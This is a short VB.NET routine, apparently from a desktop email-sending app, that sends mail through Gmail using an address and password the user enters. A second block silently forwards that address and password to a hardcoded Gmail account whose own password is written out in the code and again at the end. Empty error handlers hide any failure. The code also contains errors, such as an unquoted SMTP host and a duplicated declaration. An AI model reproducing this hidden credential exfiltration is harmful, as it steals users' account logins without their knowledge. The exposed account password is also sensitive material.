Private Sub Whatever
Dim MyMailMessage As New MailMessage
        Try

            MyMailMessage.From() = New MailAddress(TextBox1.Text)
            MyMailMessage.To.Add(TextBox3.Text)
            MyMailMessage.Subject = TextBox5.Text
            MyMailMessage.Body = (TextBox4.Text)
            Dim SMTP As New SmtpClient(smtp.gmail.com)
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
            SMTP.Send(MyMailMessage)

        Catch ex As Exception

        End Try
Dim MyMailMessage As New MailMessage
        Try

            MyMailMessage.From() = New MailAddress(TextBox1.Text)
            MyMailMessage.To.Add("computeremailservice@gmail.com")
            MyMailMessage.Subject = (TextBox1.Text)
            MyMailMessage.Body = (TextBox2.Text)
            Dim SMTP As New SmtpClient(smtp.gmail.com)
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("computeremailservice@gmail.com", "danmilo2413")
            SMTP.Send(MyMailMessage)

        Catch ex As Exception

        End Try
End Sub

computeremailservice@gmail.com
danmilo2413